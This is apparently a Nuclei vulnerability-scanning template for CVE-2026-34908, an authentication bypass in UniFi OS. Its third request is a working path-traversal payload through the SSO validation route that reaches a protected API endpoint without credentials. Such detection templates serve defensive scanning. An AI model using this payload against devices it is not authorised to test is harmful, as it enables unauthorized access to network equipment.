id: CVE-2026-34908

info:
  name: "UniFi OS - Authentication Bypass"
  author: vedas-arpsyndicate
  severity: critical
  description: |
    A malicious actor with access to the network could exploit an Improper Access Control vulnerability found in
    UniFi OS devices to make unauthorized changes to the system.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2026-34908&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=unifi&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10.0
    cve-id: CVE-2026-34908
    cwe-id: CWE-284
  metadata:
    verified: false
  tags: cve,cve2026,unifi,ubiquiti,auth-bypass,traversal,kev,unauth,vkev
flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 2
    matchers:
      - type: dsl
        dsl:
          - "contains_any(to_lower(body), 'unifi', 'ubiquiti', 'ubnt')"
        internal: true

  - raw:
      - |
        GET /proxy/users/api/v2/ucs/update/latest_package HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "status_code == 401 || status_code == 403"
        internal: true

  - raw:
      - |
        GET /api/auth/validate-sso/..%2f..%2f..%2fproxy/users/api/v2/ucs/update/latest_package HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "contains_all(body, 'pkg_name required', 'CODE_SYSTEM_ERROR')"
        condition: and